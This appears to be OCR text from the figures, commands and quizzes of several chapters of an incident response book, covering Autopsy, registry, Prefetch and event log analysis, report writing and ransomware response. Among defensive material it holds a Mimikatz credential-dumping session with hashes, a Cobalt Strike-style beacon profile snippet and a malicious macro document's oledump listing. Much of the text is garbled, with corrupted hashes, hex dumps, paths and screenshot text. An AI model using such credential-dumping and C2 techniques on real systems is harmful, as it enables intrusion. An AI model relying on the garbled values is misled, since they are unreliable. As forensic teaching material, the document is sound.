Case data will be stored in the following directory:
|D:\2022-014 Guymager Incident

V] s (R [ o | (1B

Figure 11.3 — Autopsy — New Case Information

M New Case Information

Steps Optional Information

1. Case Information
2. Optional Information Case

Number:  |2022-014| |

Examiner
Name: [Gerard Johansen l
Phone:  |883-867-5309 |
Email; [gjohansen@acrne.com ]
Notes: ’ ‘
Organization
Organization analysis is being done for: |Not Specified | | Manage Organizations

<Back VNe‘xt>‘ Cancel || Heln

Figure 11.4 — New Case Information — Optional Information




M Add Data Source

X
Steps Select Host
1. Select Host
2. Select Data Source Type Hosts are used to organize data sources and other data.
3. Select Data Source ; :
4. Configure Ingest (@) Generate niew host name based on data source name
5. Add Data Source

O Specify new host name

O Use existing host

N [ - | [~ |

{

Figure 11.5 — Add Data Source — Select Host




M Add Data Source X
Steps Select Data Source Type
1. SelectHost
2. Select Data Source Type
3. Select Data Source @ Disk Image or VM File
4, Configure Ingest
5. Add Data Source
& | Local Disk
‘& | Logical Files
& | Unallocated Space Image File
& " | Autopsy Logical Imager Results
& | XRY TextExport

Figure 11.6 — Add Data Source — Select Data Source Type




M Add Data Source X
Steps Select Data Source

1. SelectHost Path:

2. Select Data Source Type T

3. Select Data Source |D:\2022 CTF - Windows \HP-Final\Laptop 1Final.£01 | [Browse |
4. Configure Ingest

5. Add Data Source [J1gnore orphan files in FAT file systems

Time zone: | (GMT+0:00) UTC v|
Sector size: | Auto Detect v|
Hash Values (optional):

MDS: | |
sHa-1: | |
SHA-256: | |

NOTE: These values will not be validated when the data source is added.

<ok | [ N> | [ | [ o | [

|

Figure 11.7 — Selecting the EO1 file
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Figure 11.8 — Add Data Source — Configure Ingest

M Add Data Source

Steps

Add Data Source

Select Host

Select Data Source Type
Select Data Source
Configure Ingest

Add Data Source

[ IR

Processing data source and adding it to a local database. File analysis will start when this finishes.

Status
Adding: Applications/OpenOffice.org.app/Contents/basis-ink/program/defaults/pref/

*This process may take some time for large data sources.

I =] .

Figure 11.9 — Data source processing




M Add Data Source

Steps Add Data Source

1. SelectHost

2. Select Data Source Type

3. Select Data Source

4. Configure Ingest Data source has been added to the local database. Files are being analyzed.
5. Add Data Source

| <Bak | | Next> || Fnsh [ [ Cance ][ Heb

Figure 11.10 — Data source complete
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Figure 11.11 — Evidence source processing
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Hex Text Applcation  File Metadata OS Account

Metadata
Name: fimg_Laptop 1Final,E0 1/vol_vol6/Program Files/desktop.ini
Type: File System
MIME Type: text/x-ni
Size: 174

File Name Allocation: Allocated
Metadata Allocation: Allocated

Modified: 2022-01-23 09:39:30 PST

Accessed: 2022-02-12 15:39:47 PST

Created: 2022-01-23 09:39:30 PST

Changed: 2022-02-03 22:14:48 PST

MDS: 6383522c180badc4e 1d5¢30a5c4f4913

SHA-256: 4705ba6793dc93c 1bbe2a%e790e9e22778d217531b1750471206fd5c52bbd2b 5
Hash Lookup Results: UNKNOWN

Internal ID: 61940

Figure 11.14 - File metadata

Hex Text Applcation File Metadata OS Account Datz Artifacts  Analysis Results  Context  Annotations  Other Occurrences

Page: 1 of 1 Page < 2 Go to Page: |1 ]anhaoﬂ%etl || Launch in HxD
0x00000000: FF FE 0D 00 OR 00 SB 00 2E 00 53 00 €2 00 €5 00  ...... [...S.h.e.
0x00000010: €C 00 6C 00 43 00 €C 00 €1 00 73 00 73 00 49 00 1. Y6 a. 855 T
0x00000020: €E 00 €€ 00 €F 00 SD 00 OD 00 OA 00 4C 00 €F 00 0, 000 e L.o.
0x00000030: €3 00 €1 00 €C 00 €% 00 7A 00 €5 00 €4 00 S2 00 c.a.l.i.z.e.d.R
0x00000040: €5 00 73 00 €F 00 75 00 72 00 €3 00 €5 00 4E 00 e.s.o.u.r.c.e.N.
0x00000050: €1 00 €D 00 €5 00 3D 00 40 00 25 00 S32 00 79 00 ame.=.@.%.S.y.

0x000000€0: 73 00 74 00 €5 00 €D 00 52 00 €F 00 €F 00 74 00 s.t.e.m.R.o.o.t.
0x00000070: 25 00 SC 00 73 00 79 00 73 00 74 00 €5 00 €D 00 $.\.s.y.s.t.e.m.
0x00000080: 33 00 32 00 SC 00 73 00 €8 00 €5 00 €C 00 €C 00 3.2.\.s.h.e.1.1.
0x00000090: 33 00 32 00 2E 00 €4 00 €C 00 €C 00 2C 00 2D 00 < BTy - o B VR
0x000000a0: 32 00 31 00 37 00 38 00 31 00 OD 00 OA 00 2.1 F-80Y, e

Figure 11.15 — Hex view
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- ®| File Views
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m % Deleted Files

(- MB File Size
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% Installed Programs (77)
-</> Metadata (144)

o Operating System Information (4)
Recent Documents (48)
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Run Programs (2744)
Shell Bags (61)

USB Device Attached (14)
Web Accounts (2)
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Web Cache (7121)
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Figure 11.16 — Autopsy’s artifacts pane
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Figure 11.17 — Data Sources
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Figure 11.18 — Web History



Hex Text Application Source File Metadata OS Account Data Artifacts Analysis Results Cont
Result: 126 of 153  Result | € D

=x1  Annotations Other Occurrences

Visit Details
Title: Online Hacker Simulator
Date Accessed: 2022-02-12 15:30:26 PST
Domain: hacker-simulator.com
URL: https://hacker-simulator.com/

Referrer URL:  htips://hacker-simulator.com/
Program Name: Microsoft Edge

Source
Data Source:  Laptop1Final.EO1
File: Jfimg_Laptop 1Final.E0 1/vol_vol6/Users/Patrick/AppData/Local Microsoft/Edge /User Data/Default/History
Figure 11.19 — Web history metadata
eb Cowrioads
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Figure 11.20 — Web Downloads

Hex Text Application Source FileMetadata OS Account Data Artifacts AnalysisResults Confexi  Annotations Other Occurrences

Metadata
Name: J/img_Laptop 1Final.E01/vol_vol6/Users/Patrick/AppData/Local Microsoft/Edge User Data/Default/History
Type: File System
MIME Type: application/x-sglite3
Size: 229376

File Name Allocation: Allocated
Metadata Allocation: Allocated

Modified: 2022-02-12 15:32:59 PST

Accessed: 2022-02-12 15:32:59 PST

Created: 2022-01-10 15:08:59 PST

Changed: 2022-02-12 15:32:59 PST

MD5: 559fcf3abb2b1cf51b0c463dfed8dse7b

SHA-256: 33962bde 5725a0b0c22db 121394290 1da444bbdf792d0fafb 175e2f315b7d318
Hash Lookup Results: UNKNOWN

Internal ID: 34697

Figure 11.21 — Web download metadata
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Figure 11.22 — Web Cookies
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Listing

({2 [a-zA-20-9%+_\-1+(\. [a-zA-Z0-9%+_\] D=} )\@([5-zA-Z0-9] ([3-zA-Z0-9\-] *[a-zA-Z0-9])?\.) +[a-zA-Z]{2, 4}
Table Thumbnail Summary

Page: Pages: ‘~ = Go toPage: [:]

List Name Files with Hits
X %728h@j.mp (1) 1
X 2%748237%728h@j.mp (2) 2
A %7c@i.sq (4) 4
X %%s@members.3322.0rq (1) 1
X %ws.t@api.ma (1) 1
X\ +chg@pg8.cc (1) 1
A +d@f.fim (2) 2
A +fe@1obfuscator.hu (2) 2
& —@ab.cc (3) 3
X -17-@582tocoughlin.com (1) 1
A -@hdog.sy (1) 1
X -@hjo1n.zp (2) 2
A -cert-v01@openssh.com (2) 2
X -z@1.pa(4) 4
A +i@09.4 (3) 3
X -m58@mail.ru (2) 2
X -name@bit.ly (2) 2

Figure 11.23 — Email addresses
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Figure 11.24 — USB devices
Result: 2 of 7 Result € =

Type Value

Date/Time 2022-02-12 14:47:41 PST

Device Make Cheng Uei Precision Industry Co., Ltd (Foxlink)

Device Model Product: 0815

Device ID 200501010001

Source File Path Jfimg_Laptop 1Final.E0 1/vol_vol6/Windows/System32/config/SYSTEM

Artifact ID -8223372036854775682

Figure 11.25 — USB device artifacts



Hex Text Application SourceFileMetadata OS Account Data Artifacts Analysis Results Cont=xt Annotations Other Occurrences

Metadata

Tabke Thustosd

/img_Laptop1Final. E0 1/vol_vol6/Windows/System32/config/SYSTEM
File System

application/x.windowsregistry

30146560

Allocated

Allocated

2022-02-12 15:16:56 PST

2022-02-12 15:16:56 PST

2022-01-23 09:31:20 PST

2022-02-03 22:15:31 PST

£1948c372227fb2680af75e258954e05
545ac21ca335836d97f20580a97603b777284751358f5a97bff60d90f9230db2
UNKNOWN

250399

Figure 11.26 — Device entry metadata
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Figure 11.27 — Deleted files
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Figure 11.28 — Keyword search hits
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Figure 11.29 — Master File Table entry
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Figure 11.30 — Keyword search results

Figure 11.31 — Keyword PowerShell script
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Figure 11.32 — Base64 PowerShell script
[T ] T,
ity Times b @ Yool Teve Zone— | GMTAVTE J \\-u-r.m HOwais Tl Scae @ Coguites @ e @ »
 Hetory | e Back |« s
) Inom
¥
(&)
Tume Units eaZ e §
g
Event Type: - Y
Dascription Ot g
B
_\Yﬂueu;i - I g
] Nt inchate fext: — I‘ LN AR . I ‘
| Must be tagoed LT R L T R T e
.| Must have hash vt - — — —
] Lmit data sources to || P
1088 LR Ak 5 »
ek saiians ] o i s ) £ ] Qaemaans,
L I T S e e R ——— PESyTp—
TR Sustret sy - m —t e y—

[ rikwe |

Figure 11.33 — Timeline viewer
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Figure 11.34 — Keyword timeline

EntryN| = Sequer ~ InUse = Parentl ~ Parent! » ParentPath T FleNar » Extenst ~ ||
618 11 TRUE 2234853 3 .\ProgramData\ZaeraTier\One\peers.d cafoSefob peer
1618 3 TRUE 229853 3 \ProgramData\ZeroTier\One\peers.d T78cde71t peer
24342 12 TRUE 229853 3 \ProgramData\ZeroTier\One\peers.d cafe7bdcd peer
71342 6 TRUE 229833 3 \ProgramData\ZeroTier\One\peers.d cafelMeb: peer
97066 3 TRuUE 225853 3 .\ProgramData\ZeroTier\One\peers.d 62f365aa? .pear
99627 3 TRUE 99626 3 \Program Files (x85)\ZeroTier One
99633 8 TRUE 99631 8 .\ProgrambData\ZeroTier One
99635 10 TRUE 59633 8§ \ProgramData\ZeroTler\One networks.d
99647 5 TRUE 99633 8 .\ProgramData\ZeroTier\One Terotier-o.axe
99683 3 TRUE 93633 8 \ProgramData\ZeraTier\One tap-windows
99688 3 TRUE 99683 3 \ProgramData\ZeroTier\One\tap-windows x64
99689 3 TRUE 99638 3 .\ProgramData\ZeroTier\One\tap-windows\x64 Ittap300.C.cat
956390 3 TRUE 99638 3 \ProgramData\ZeroTier\One\tap-windows\x64 Tttap300.5.5ys
29697 3 TRUE 99628 3 \ProgramData\ZeroTier\One\tap-windows\x64 2ttap300.i .inf
99715 4 TRUE 99627 3 \Program Files (x86)\ZeroTier\One 1ef0tier L exe
99839 18 TRUE 93627 3 \Program Files {x856)\ZeroTier\One zerotier-¢ bat
955856 42 TRUE 99627 3 \Program Files (x86)\ZeroTier\One rerotier-it ,bat
99845 7 TRUE 93627 3 .\Program Files (x86}\ZeroTier\One ragid, 2010 swidtag
99981 4 TRUE 99637 10 .\ProgramData\regid.2010-01 com.zerotier regid. 2010 swidtag
99582 4 TRUE 93633 8 .\ProgrambData\ZeroTier\One authtoker secret
99584 4 TRUE 39633 8 .\ProgramData\ZeroTier\One identity.s.seoret
99586 4  TRUE 99633 8 .\ProgramData\ZeroTier\One identity.p .public
99987 4 TRUE 99633 8 .\ProgramData\ZeroTier\One planet

Figure 11.35 — ZeroTier filter MFT results



 97.0.4692.99 CHR-CED485A... 6/ 22 6:21 AN PF File
 97.0.4692.99_ CHR-C1EQ485A... 21 AM PF-SLACK File

B AESM_SERVICE.EXE-2882465E. pf AM PF File

B AESM_SERVICE.EXE-2882465E.pf-slack 5 6:21 AN PF-SLACK File

B AIPACKAGECHAINER.EXE-C35C3DB1.pf 25/2022 6:21 AM PF File

B AIPACKAGECHAINER.EXE-C35C3DB1.pf-... 22 6:21 AN PF-SLACK File

B AM_DELTA.EXE-78CA83B0.pf 6/25/2022 6:21 AM PF File

B AM_DELTA.EXE-78CA83B0.pf-slack ‘ 21 AM PF-SLACK File

B AM_DELTA_PATCH_1.359.45.0.EXE-05464C... AM PF File

B AM_DELTA_PATCH_1.359.45.0.EXE-05464C... / PF-SLACK File

B AM_DELTA_PATCH_1.359.53.0,EXE-D9ECD...

B AM_DELTA_PATCH_1.359.53.0.EXE-D9ECD...

B AM_DELTA_PATCH_1.359.64.0.EXE-319061... 6/ 26:21 AM PF File

B AM_DELTA_PATCH_1.359.64.0.EXE-319061... 6/ 22 6:21 AM PF-SLACK File

B AM_DELTA_PATCH_1.359.84.0.EXE-DEDAD...  6/25/ :21 AM PF File

B AM_DELTA_PATCH_1.359.84.0.EXE-DEDAQ... 21 AM PF-SLACK File

B AM_DELTA_PATCH_1.359.93.0.EXE-347F49... 6/ AM PF File

B AM_DELTA_PATCH_1.359.93.0,EXE-347F49... 6/ 5:21 AM PF-SLACK File

Figure 11.36 — Prefetch file entries

RunTime = | ExacutableName ~

2/6/2022 7:15 \VOLUME{01880675025¢9764- 1002¢20a ) \USERS\PATRICK\APPDATA\ROAMING\ZEROTIER, INC\ZEROTIER ONE
2/6/2022 7:16 \VOLUME{0138067502ac9 764-1002¢204) \PROGRAM FRES\ZEROTIER\ZEROTIER ONE VIRTUAL NETWORK PORT'
2/6/2022 7:16 \VOLUME{0138067502a¢9764- 1002202} \USERS\PATRICK\APPDATA\ROAMING\ZEROTIER, INC\ZEROTIER ONE

2/11/2022 22:46 \VOLUME{018806 7502ac9 763- 1002c20a) \PROGRAM FILES (X86)\ZEROTIER\ONE\ZEROTIER_DESKTOP_ULEXE
2/9/2022 3:50 \VOLUME{0108067502ac9764- 1002¢20a ) \PROGRAM FILES (X86)\ZEROTIER\ONE\ZEROTIER_DESKTOP_ULEXE
2/9/2022 3:50 \VOLUME{018506 7502ac9763- 1002c20a) \PROGRAM FILES (X86)\ZEROTIER\ONE\ZEROTIER_DESKTOP_ULEXE
2/9/2022 3:46 \VOLUME{01d80675025c5764- 1002¢203)\PROGRAM FILES (X86)\ZEROTIER\ONE\ZEROTIER_DESKTOP_ULEXE
2/6/2022 1:21 \VOLUME{016806 7502ac9764-1002¢20a)\ PROGRAM FILES (X86)\ZEROTIER\ONE\ZEROTIER_DESKTOP_ULEXE
2/6/2022 7:13 \VOLUME{01280675023c% 764-1002c20a ) \PROGRAM FILES (X35 \ZEROTIER\ONE\ZEROTIER_DESKTOP_ULEXE
2/6/2022 7:19 \VOLUME{01880675024c9764- 1002¢205 )\ PROGRAM FILES (X856)\ZEROTIER\ONE\ZEROTIER_DESKTOP_ULEXE
2/6/2022 7:15 \VOLUME{0188067502a3c9764- 1002¢20a ) \PROGRAM FILES (X36)\ZEROTIER\ONE\ZEROTIER_DESKTOP_ULEXE

Figure 11.37 — ZeroTier Prefetch entries



System32 (4433)

1) 0409 (2)

J, AdvancedInstallers (3)
A AppLocker (2)
L. appraiser (5)

) ar-SA (13)

), bgBG(11)

|) Boot(7)

i | L) Bthprops (3)

1) ca€5(9)
CatRoot (4)

[ , catroot2 (10)
[ L) cAVS(5)
Codelntegrity (6)
B[ com (9)

config (72)

]
-

Figure 11.38 — Registry location

g ELAM{20d0fd7c-7c71-11ec-8002-000d3a4359b5}. TMCc 1 8:30 PST

=t g config (72)

i o[l bbimigrate (5) ELAM{20d0fd7c-7c71-11ec-8002-000d3a4359b5}. TMCc 0PST
o Journal (2) SAM.LOG1 01-23
- L) RegBack (2)

- AM,

i [#-14) systemprofile (3) SaMLoe2 v X

L Ll TR SAM{20d0fd44-7c71-11ec-8002-000d3a4359b 5} TM.bil 1

f-[J) Configuration (8) SAM{20d0fd44-7c71-11ec-8002-000d3a4359b 5} TMCor 1

el sz (19) SAM{20d0fd44-7c71-11ec-8002-000d3a4359b 5} TMCol 1

Figure 11.39 — SAM location

Name

B sam
B SECURITY

B SOFTWARE
B systEM

Date modified

6/26/2022 7:37 AM
6/26/2022 7:37 AM
6/26/2022 7:37 AM
6/26/2022 7:38 AM

128 KB

64 KB
71,168 KB
29,440 KB

Figure 11.40 — Suspect registry
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Figure 11.41 — Registry Explorer view

=] ]

“ 5 2022-02-04 07:02:36
1 2022-02-04 07:02:35
1 2022-02-04 07:02:35
1 2022-02-04 07:02:35
1 2022-02-04 07:02:35
1 2022-02-04 07:02:36
1 2022-02-04 07:03:06
1 2022-02-04 07:03:04
1 2022-02-04 07:03:04

+ = ROOT_HUB30

» = VID_05CS&PID_0815

+ = VID_05C8&PID_0815&MI_00

+ £ VID_05C8&PID_0815&MI_02

» - VID_8087&PID_0A28

+ == {2F2B7B01-597A-434C-8DD6-D27CD4...
+ - {5d624f94-8850-40c3-a3fa-a4fd2080b...
+ = {DDSES2AE-334B-49A2-AEAE-AEBOF...

O0ocoo0oocoooo

Figure 11.42 — USB registry key location



Values

Value Name Value Type Data Value Slack

Vo -: " 0

» DeviceDesc RegSz vV;;vl'u';t._.‘:vldl.fé.l"f,_‘f':)u';ji_wld&glld(’?l(ﬁ&“&"j'YOI‘S. 100-00
LocationInformation ReqgSz 0000.0014.0000.005.000.000.000.000,000 00-00-00-00-00-00
Capabilities RegDword 164
Acdress RegDword 5
ContainerID RegSz {00000000-0000-0000-FfF-fiffFTT ) 00-00-00-00-00-00
HardwarelD RegMultiSz USB\VID_0SCB&PID_OB81S&REV_0011&M
CompatiblelDs RegMultiSz USB\COMPAT_VID_0S5c8&Class_Oe&Sub... 00-00-00-00-00-00
ConfigFlags RegDword 0
ClassGUID RegSz {ca3e7ab9-b4c3-492e6-8251-579e933890f} 00-00-00-00-00-00
Driver RegSz {cale7abd-b4c3-5ae6-8251-579ef933890... 00-00-00-00
Service RegSz usbvideo 9E-01
LowerFilters RegMultiSz WdmCompanionFilter 35-26-4D-49
Mfg ReqgSz @usbvideo.inf, %msft9% ; Micrasoft 00-00-00-00-00-00
FriendlyName RegSz HP Wide Vision FHD Camera

Figure 11.43 — Registry values

Type viewer Binary viewer
Value name HardwarelD

Value type RegMultiSz

Value USB\VID_0SCB&PID_0B1S5&REV_00118MI_00
USB\VID_0SCB&PID_0815&MI_00

Raw value 55-00-53-00-42-00-5C-00-56-00-49-00-44-00-5F-00-30-00-35-00-43-00-38-00-26-00-50-00-49-00-44-00-5F-0
10-30-00-38-00-31-00-35-00-26-00-52-00-45-00-56-00-5F-00-30-00-30-00-31-00-31-00-26-00-4D-00-49-00-5F-
100-30-00-30-00-00-00-55-00-53-00-42-00-5C-00-56-00-49-00-44-00-5F-00-30-00-35-00-43-00-38-00-26-00-5
0-00-49-00-44-00-5F-00-30-00-38-00-31-00-35-00-26-00-4D-00-49-00-5F-00-30-00-30-00-00-00-00-00

Figure 11.44 — HardwarelD data

Code and Commands

Command 11.1:

C:\Users\forensics\Documents\ZimmmermanTools>MFTECmd.exe -f

"D:\Suspect SMFT" --csv "D:" --csvf SuspectMFT.csv

Command 11.2:



C:\Users\forensics\Documents\ZimmmermanTools>PECmd.exe -d

D:\Suspect Prefetch -g --csv D:\ --csvf
suspect prefetch.csv

Questions

Answer the following questions to test your knowledge of this chapter:

1.

What are some of the features that are available with commercial and open
source forensic platforms?

e Hexviewer

e Email carving

e Metadata viewer

o All of the above

In what registry hive could an incident responder find USBs that have been
connected to the system?

e SAM
e Security
e System

e User profile
Web history may provide data on a phishing URL that’s been accessed by the
system.

e True

e False

Which of the following is not a Windows registry hive?
e System

e SAM

e Storage

e Software

Further reading

For more information about the topics covered in this chapter, refer to the following
resources:

Autopsy GitHub: https://github.com/sleuthkit/autopsy




Eric Zimmerman Tools: AfpSYlSTicZimmerman-Githubio/#Hindexmd
Eric Zimmerman Tools Cheat Sheet: _

Registry Analysis with FTK Registry Viewer:

Windows Registry Analysis 101:



Chapter 12

Images

System Lags and Security Comtroly Coadh "
Aerts

1 com see from the
information about the
Daes bl Log Entry ayatesms and users o this
. log entry, that this &
Ow the Network ™

st s~ el

10.100,20.18 Initiated Database Copy using credentials * USSalesSyncAcct’ to remote Most 10.88.6.12 - Status Code Ox84F8

Figure 12.1 — SIEM and logging architecture

ST 008 M1 e ralliriag g 48
¥ A MON-onOL e | eI LA

hiorr eI W . e e

o WG A

boad IS ARINIY s KA Pt W S T b—— S g ——



Figure 12.2 — The Splunk platform

Figure 12.3 — The Kibana platform
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Figure 12.5 — Microsoft Windows Event Viewer
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Figure 12.8 — CyLR.exe execution output

2/11/2022 5:37:07 PM
Security

: 4732

User added to local Administrators group
Username: -
User SID: S-1-5-21-3341181897-1859518978-806882922-1602

2/11/2022 5:29:43 PM

: Security
: 4720

New User Created
Username: minecraftsteve
User SID: S-1-5-21-3341181097-1059518978-806882922-1082

2/3/2022 11:82:35 PM

: Security

: 4672

: Multiple admin logons for one account
Username: pbentley@l@7@gmail.com

User SID Access Count: 24




Figure 12.9 — DeepBlueCLI suspicious security event logs
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Figure 12.14 — Opening Windows event logs

Figure 12.15 — Event Log Explorer — creating a filter



Filter

Apply filter to:
(®) Active event log view (File: C:\Users\madno\Desktop\Logs\Security.evix)
(O Event log view(s) on your choice
— Event types e I [ IExdude
[ information
[ warning Category: | I Exclude
S:L User: I | |Exdude
[A Audit Success Computer: | | |Exdude
[ Audit Failure
Event ID(s):
[4720 | Oexcude
Enter ID numbers and/or ID ranges, separated by comas, use exdamation mark to exdude criteria (e.g. 1-19,100,250-450!10,255)
Text in description:
|mineaaﬂst:eve | [JregExp  [JExdude

— Filter by description params (for security event logs, e.g. Object\Object Name contains elex.exe)
| Newconditon | Deletecondion |  Clearlist |

Name |operator Value
|

—[Jpate [Tme | |Separately

From: 7/ 4/2022 [0~ |112:00:00AM 3| To: 7/ 42022 [~ ?p;oq;oom = | |Exdude

Display event for thelast [0 || days |0 | hours |Exclude

Figure 12.16 — Event Log Explorer filter parameters
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A member was added to a security-enabled local group.

Subject:
Security ID: S§-1-5-18
Account Name: DESKTOP-SKPTDIOS
Account Domain: WORKGROUP
Logon ID: 0x3e7

{|Member:

Security ID: $-1-5-21-3341181097-1059518978-806882922-1002
Account Name: -

Group:
Security ID: §-1-5-32-580
Group Name: Remote Management Users
Group Domain: Builtin

Additional Information:
Privileges: -
Expiration time: (null)

Figure 12.18 — Event log entry description
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Figure 12.20 — Windows Defender Meterpreter detection

skadi@skadi:™$ cdgr in:DESKTOP-SKPTDIO.zip out:Results —p win ——max_cpu -z ——es_kb DESKTOP-SKPTDIO
Assigning CDOR to the host network

The Docker network can be changed by modifying the “DOCKER_NETWORK" environment variable

Example (default Skadi mode): export DOCKER_NETWORK=host

Example (use other Docker network): export DOCKER_NETWORK=skadi-backend

docker run -—-network host -v /home/skadi/DESKTOP-SKPTDIO.zip:/home/skadi/DESKTOP-SKPTDIO.zip —-v /h
ome/skadi/Results:/home/skadi/Results aorlikoski/cdqr:5.0.0 -y /home/skadi/DESKTOP-SKPTDIO.zip ~home
/skadi/Results —p win ——max_cpu -z ——es_kb DESKTOP-SKPTDIO

Figure 12.21 — CDQR execution



Figure 12.22 - Skadi portal
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Add a filter 4

Add filter x

Filter Edit Query DSL

event_identifier ~ is « 4104 g

Label

Optional

Figure 12.25 - Filter on Event ID
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Optional

Figure 12.26 — Filter on IP address
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Figure 12.27 — Meterpreter event entry



Code and Commands

Command 12.1:

C:\Users\JSmith\Desktop>CyLR.exe -s 192.168.207.130:22 -u

admin -p password
Command 12.2:

PS C:\Users\madno\Desktop\DeepBlueCLI-master\DeepBlueCLI-
master> .\DeepBlue.psl -log security
C:\Users\madno\Desktop\Logs\Security.evtx

Command 12.3:

PS C:\Users\madno\Desktop\DeepBlueCLI-master\DeepBlueCLI-
master> .\DeepBlue.psl -log system
C:\Users\madno\Desktop\Logs\System.evtx

Command 12.4:

PS C:\Users\madno\Desktop\DeepBlueCLI-master\DeepBlueCLI-
master> .\DeepBlue.psl
C:\Users\madno\Desktop\Logs\Microsoft-Windows-
PowerShell%40perational.evtx

Command 12.5:

skadi@skadi:~$ cdgr in:DESKTOP-SKPTDIO.zip out:Results -p

win --max cpu -z --es_ kb DESKTOP-SKPTDIO

Questions

Answer the following questions to test your knowledge of this chapter:

1. For effective log management, an organization should establish logging as a
normal business practice.
e True
e False
2. Which is not one of the functions of a SIEM?
e Logretention
e Automated response



o Alerting

e Log aggregation

Which of these is not part of the Elastic Stack?
e Kibana

e Elasticsearch

e logresponse

e logstash

Locard’s exchange principle states that when two objects come into contact
with each other, they leave traces.

e True

e False

Further reading

For more information about the topics that were covered in this chapter, refer to the
following resources:

Windows Security Log Events:

Graylog: https://qithub.com/Graylog2
Skadi: https://github.comvorlikoski/Skadi

Applied Incident Response Windows Event Log Analysis:
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Figure 13.3 — Autopsy Generate Report results selection

& Report Generation Progress... X

HTML Report : D:12022-014 Guymager Inddent)...\report.html
Now processing Web Cache...

MONOLITH NOTES

MONOLITH
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Figure 13.6 — New Case information
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Figure 13.7 — New Case information
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Clear Date Range

Figure 13.10 — Monolith Notes filter

Time Description
(UTC)
19:08 Firewall IPS sensor alerted to possible C2 activity.

Escalated by the SOC to the CSIRT for analysis and
response.

19:10 Examined firewall log and determined that host
10.25.4.5 had connected to a known malware C2

server.

19:14 Used Carbon Black EDR to isolate the endpoint
10.25.4.5 from further network communication.

19:16 Retrieved Prefetch files from 10.25.4.5 via
Velociraptor for analysis.

Questions

Table 13.1 - Events timeline log

Answer the following to test your knowledge of this chapter:

1. What is not part of a forensic report?

The tools utilized

Performed
by

Bryan Davis

John Q.
Examiner

John Q.
Examiner

John Q.
Examiner



e Examiner biography / CV

o Notes

e Exhibit list

When preparing an incident report, it is necessary to take into account the
audience that will read it.

e True

e False

Which of these is a data source that can be leveraged in preparing an incident
report?

e Applications

e Network/host devices

e Forensic tools

e All of the above

Incident responders should never include a root cause analysis as part of the
incident report.

e True

e False

Further reading

Refer to the following for more information about the topics covered in this chapter:

Intro to Report Writing for Digital Forensics: _

Understanding a Digital Forensics Report:

Digital Forensics Report, Ryan Nye: http://rnyte-cyber.com/uploads/9/8/5/9/
98595764/exampledigiforensicsrprt_by ryan_nye.pdf
Magnet Forensics Guide on Technical Level Findings:


http://rnyte-cyber.com/uploads/9/8/5/9/98595764/exampledigiforensicsrprt_by_ryan_nye.pdf
http://rnyte-cyber.com/uploads/9/8/5/9/98595764/exampledigiforensicsrprt_by_ryan_nye.pdf
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“WARNING”

( As a response to Western warmongering and American threats to use cyber warfare
against the citizens of Russian Federation, the Conti Team is officially announcing th
at we will use our full capacity to deliver retallatory measures in case the Western w
armongers attempt to target critical infrastructure in Russia or any Russian-speaking
region of the world. We do not ally with any government and we condemn the ongoi
ng war. However, since the West is known to wage its wars primarily by targeting civ
ilians, we will use our resources in order to strike back if the well being and safety of
peaceful citizens will be at stake due to American cyber aggression.
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FLARE Sat 08/06/2022 11:40:04.12
C:\Users\flare\Downloads\mimikatz-master\x64+>mimikatz.exe

HHEHHE. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
JHE ~ . “"A La Vie, A L'Amour"” - (oe.eo)
#H / \ # /*** Benjamin DELPY “gentilkiwi™ ( benjamin@gentilkiwi.com )
HE\ /O #t > http://blog.gentilkiwi.com/mimikatz
"#i# v ' Vincent LE TOUX ( vincent.letoux@gmail.com )
HHEHHE > http://pingcastle.com / http://mysmartlogon.com  **¥*/

mimikatz # privilege::debug

Privilege '20' OK

mimikatz # sekurlsa:

Authentication Id :
Session
User Name
Domain
Logon Server
Logon Time
SID

msv :

[000000063 ]

* Username :

* Domain

* NTLM

* SHA1
tspkg :
wdigest :

* Username :

* Domain

* Password :

kerberos

* Username :

* Domain

* Password :

Ssp : KO
credman :

:logonpasswords

0 ; 25061248 (000000RV:017e6780)

: Interactive from 2

: flare

: DESKTOP-HNMD9G6

: DESKTOP-HNMD9G6

: 8/6/2022 11:36:49 AM

: $-1-5-21-2298881373-2359326516-1561716855-1000

Primary

flare

: DESKTOP HNMD92G6

: 4eb0bb4f55b0b9546e70alc51ed2d5d7

: c4dee7dadbatd211025586a158d1b4af3dce851a7

flare
: DESKTOP-HNMD9G6
(null)

flare

: DESKTOP-HNMD9G6
(null)

Figure 14.8 — Mimikatz

Code and Commands

Code 14.1:

set sleeptime "5000";

set jitter "o";

set maxdns "255";



set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64;

Trident/7.0; rv:11.0) like Gecko";

Code 14.2:

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\Lanman
Server\Parameters

Command 14.1:

for %i in (C$ IPCS$ ADMINS) do net share %$i /delete OR net

stop LanmanServer

Questions

Answer the following questions to test your knowledge of this chapter:

1. Which threat actor is related to both Ryuk and Conti?
e AtomicSquirrel
e BadWitch
e Wizard Spider
e BlackEnergy
2. Inthe event of a Domain Controller compromise, it is important to perform a
global password reset.
e True
e False
3. What is the critical component that drives ransomware?
e Commonly available RATs
e Cryptocurrency
e Commercial penetration testing tools
e Poor security hygiene
4. Threat actor lateral movement can be inhibited by which of the following?
e MFA
e Limiting RDP
e Limiting SMB
o All of the above



Further reading

Refer to the following resources for more details about the topics covered in this
chapter:

Preventing Ransomware: hitpsiiww:packipub.com/productipreventing:

Incident Response Techniques for Ransomware Attacks:

https://www.packtpub.com/product/incident-response-techniques-for-
ransomware-attacks/9781803240442



https://www.packtpub.com/product/incident-response-techniques-for-ransomware-attacks/9781803240442
https://www.packtpub.com/product/incident-response-techniques-for-ransomware-attacks/9781803240442
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This document only avadable for desktop or laptop versions of Microsoft Office Word
To open the document, follow these steps

Click Enable editing button from the yeliow bar above
Once you have enabled editing, please dick Enable content button

Figure 15.1 — Microsoft Word document — Enable Content



C:\Users\ThreatPursuit\Downloads\Oledump>oledump.py DETAILS-RL1669.doc
4096 '\x@5DocumentSummaryInformation’
416 '\x@85SummaryInformation’
6952 '1Table’
173293 ‘'Data’
97 'Macros/Bimgxgzblyrp/\x81CompObj"
296 'Macros/Bimgxgzblyrp/\x@3VBFrame’
670 'Macros/Bimgxgzblyrp/f’
112 'Macros/Bimgxgzblyrp/ie9/\x81CompObj"
44 'Macros/Bimgxgzblyrp/i@g/f’
© 'Macros/Bimgxgzblyrp/ie9/o’
i B B 112 'Macros/Bimgxgzblyrp/ill/\x81CompObj"’
12: 44 'Macros/Bimgxgzblyrp/ill/f"’
13 ©® 'Macros/Bimgxgzblyrp/ili/o’
